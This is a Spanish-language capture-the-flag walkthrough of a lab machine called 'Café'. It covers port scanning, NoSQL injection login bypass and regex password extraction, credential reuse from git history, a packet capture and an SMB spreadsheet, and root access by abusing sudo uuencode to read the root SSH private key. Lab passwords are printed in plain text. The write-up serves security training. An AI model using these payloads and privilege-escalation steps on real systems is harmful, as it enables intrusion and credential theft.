Resolución del CTF Café
Enumeración
Escaneo de puertos
Realizamos un escaneo de todos los puertos para identificar los servicios activos en el sistema objetivo.
nmap -p- --open -sCV -Pn -n --min-rate 5000 192.168.0.112- -p- : Escaneo de todos los puertos. (65535)
- -sS : Realiza un TCP SYN Scan para escanear rápidamente qué puertos están abiertos.
- -sC : Escaneo con scripts básicos de reconocimiento.
- -sV : Detección de servicios.
- –min-rate 5000 : Escaneo no inferior a 5000 paquetes/segundo.
- -n : Sin resolución DNS.
- -Pn : Sin descubrimiento por ping.
Enumeración Web
Accedemos al servicio HTTP y localizamos un panel de autenticación asociado al módulo de reservas.
NoSQL Injection
Interceptamos la petición de autenticación y confirmamos que los parámetros son procesados directamente por el backend. El uso de operadores condicionales permite alterar la lógica de validación.
username[$ne]=test&password[$ne]=testLa respuesta con redirección confirma que el formulario es vulnerable a NoSQL Injection.
Obtención de Credenciales
Enumeración de usuarios
Enumeramos usuarios válidos utilizando condiciones $eq y $ne, identificando respuestas diferenciadas.
username[$eq]=daniel&password[$ne]=testObtenemos los usuarios válidos: daniel y kurt.
Extracción de contraseñas
Abusamos del operador $regex para extraer carácter a carácter las contraseñas mediante respuestas 302.
python3 nosqli_bruteforce.pyCredenciales obtenidas:
daniel:P8ymBu8J5QjJYBwuT2kurt:Q9axatnbX6dXSyM2bGAcceso Inicial
Accedemos al sistema mediante SSH utilizando las credenciales de kurt.
Movimiento Lateral
Enumeramos el sistema y detectamos acceso al directorio personal de daniel, donde encontramos un repositorio Git.
git config --global --add safe.directory /home/daniel/stock_app/.gitgit log --onelinegit show <commit_id>Extraemos una credencial reutilizable y accedemos como daniel.
su danielEnumeración Avanzada
Buscamos archivos pertenecientes a root accesibles por el grupo daniel.
find / -type f -user root -group daniel 2>/dev/nullLocalizamos una captura de red y la transferimos para su análisis.
python3 -m http.server 5555wget http://192.168.0.112:5555/capture.capAcceso a Servicios Internos
Del análisis de la captura obtenemos credenciales válidas del usuario sofia, reutilizadas contra el servicio SMB.
smbmap -H 192.168.0.112 -u sofia -p 'KkkTpRS1H2cVBV81ZM'smbclient //192.168.0.112/finanzas -U sofiaget finanzas.xlsxDel archivo extraemos credenciales válidas del usuario ana.
ana:g@Y5YSCFt1rd4SEwkmEscalada de Privilegios
Comprobamos privilegios sudo y detectamos ejecución permitida de uuencode como root.
sudo -lAbusamos de uuencode para leer la clave privada de root.
sudo uuencode /root/.ssh/id_rsa /dev/stdout | uudecodeImportamos la clave y accedemos como root.
chmod 600 id_rsassh -i id_rsa [email protected]